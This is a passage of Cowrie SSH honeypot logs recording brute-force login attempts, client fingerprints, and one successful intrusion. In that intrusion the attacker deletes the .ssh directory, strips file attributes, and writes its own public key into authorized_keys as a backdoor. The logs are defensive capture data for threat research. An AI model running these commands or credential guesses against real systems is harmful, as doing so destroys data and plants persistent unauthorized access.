512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:58:48.838215Z","src_ip":"58.186.20.143","session":"cc31ec14f328","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123321","message":"login attempt [testuser/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:58:49.860362Z","src_ip":"58.186.20.143","session":"cc31ec14f328","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":53920,"dst_ip":"10.17.0.5","dst_port":22,"session":"263344fdcd3f","protocol":"ssh","message":"New connection: 160.251.185.39:53920 (10.17.0.5:22) [session: 263344fdcd3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:58:49.894717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:58:49.899430Z","src_ip":"160.251.185.39","session":"263344fdcd3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:58:50.079253Z","src_ip":"160.251.185.39","session":"263344fdcd3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"steam1","password":"steam1","message":"login attempt [steam1/steam1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:58:50.809716Z","src_ip":"160.251.185.39","session":"263344fdcd3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:58:51.113743Z","src_ip":"58.186.20.143","session":"cc31ec14f328","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:58:51.987169Z","src_ip":"160.251.185.39","session":"263344fdcd3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":46834,"dst_ip":"159.203.135.109","dst_port":22,"session":"08a7e966a3d3","protocol":"ssh","message":"New connection: 101.47.159.125:46834 (159.203.135.109:22) [session: 08a7e966a3d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:13.905709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:13.911998Z","src_ip":"101.47.159.125","session":"08a7e966a3d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:14.152584Z","src_ip":"101.47.159.125","session":"08a7e966a3d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qq123456","message":"login attempt [ubuntu/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:15.141036Z","src_ip":"101.47.159.125","session":"08a7e966a3d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:16.384400Z","src_ip":"101.47.159.125","session":"08a7e966a3d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":5972,"dst_ip":"159.203.135.109","dst_port":22,"session":"682b3af4e335","protocol":"ssh","message":"New connection: 213.209.159.56:5972 (159.203.135.109:22) [session: 682b3af4e335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:32.370463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:32.375182Z","src_ip":"213.209.159.56","session":"682b3af4e335","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:32.457250Z","src_ip":"213.209.159.56","session":"682b3af4e335","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kyndal","password":"kyndal","message":"login attempt [kyndal/kyndal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:32.859280Z","src_ip":"213.209.159.56","session":"682b3af4e335","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kyndal","password":"kyndal1","message":"login attempt [kyndal/kyndal1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:33.944964Z","src_ip":"213.209.159.56","session":"682b3af4e335","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kyndal","password":"kyndal123","message":"login attempt [kyndal/kyndal123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:35.031459Z","src_ip":"213.209.159.56","session":"682b3af4e335","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kyndal","password":"kyndal1234","message":"login attempt [kyndal/kyndal1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:36.116991Z","src_ip":"213.209.159.56","session":"682b3af4e335","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kyndal","password":"kyndal12345","message":"login attempt [kyndal/kyndal12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:37.257888Z","src_ip":"213.209.159.56","session":"682b3af4e335","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:38.343703Z","src_ip":"213.209.159.56","session":"682b3af4e335","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":57088,"dst_ip":"159.203.135.109","dst_port":22,"session":"858b8d164de5","protocol":"ssh","message":"New connection: 14.225.205.58:57088 (159.203.135.109:22) [session: 858b8d164de5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:41.955878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:41.961349Z","src_ip":"14.225.205.58","session":"858b8d164de5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:42.216113Z","src_ip":"14.225.205.58","session":"858b8d164de5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123element098","message":"login attempt [oracle/123element098] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:43.263491Z","src_ip":"14.225.205.58","session":"858b8d164de5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:43.827831Z","src_ip":"14.225.205.58","session":"858b8d164de5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:43.831505Z","src_ip":"14.225.205.58","session":"858b8d164de5","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:43.835499Z","src_ip":"14.225.205.58","session":"858b8d164de5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:44.094288Z","src_ip":"14.225.205.58","session":"858b8d164de5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:44.660869Z","src_ip":"14.225.205.58","session":"858b8d164de5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:44.664548Z","src_ip":"14.225.205.58","session":"858b8d164de5","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:44.923867Z","src_ip":"14.225.205.58","session":"858b8d164de5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:44.927845Z","src_ip":"14.225.205.58","session":"858b8d164de5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":57096,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bf1e17e4c82","protocol":"ssh","message":"New connection: 14.225.205.58:57096 (159.203.135.109:22) [session: 1bf1e17e4c82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:45.179413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:45.185640Z","src_ip":"14.225.205.58","session":"1bf1e17e4c82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:45.450526Z","src_ip":"14.225.205.58","session":"1bf1e17e4c82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:46.534512Z","src_ip":"14.225.205.58","session":"1bf1e17e4c82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":38972,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d4eb814eea7","protocol":"ssh","message":"New connection: 80.94.92.186:38972 (10.17.0.5:22) [session: 3d4eb814eea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:47.225523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:47.526595Z","src_ip":"80.94.92.186","session":"3d4eb814eea7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:47.530499Z","src_ip":"80.94.92.186","session":"3d4eb814eea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:47.801177Z","src_ip":"14.225.205.58","session":"1bf1e17e4c82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":53438,"dst_ip":"159.203.135.109","dst_port":22,"session":"81cec1131b0b","protocol":"ssh","message":"New connection: 14.225.205.58:53438 (159.203.135.109:22) [session: 81cec1131b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:48.042291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:59:48.047324Z","src_ip":"14.225.205.58","session":"81cec1131b0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com",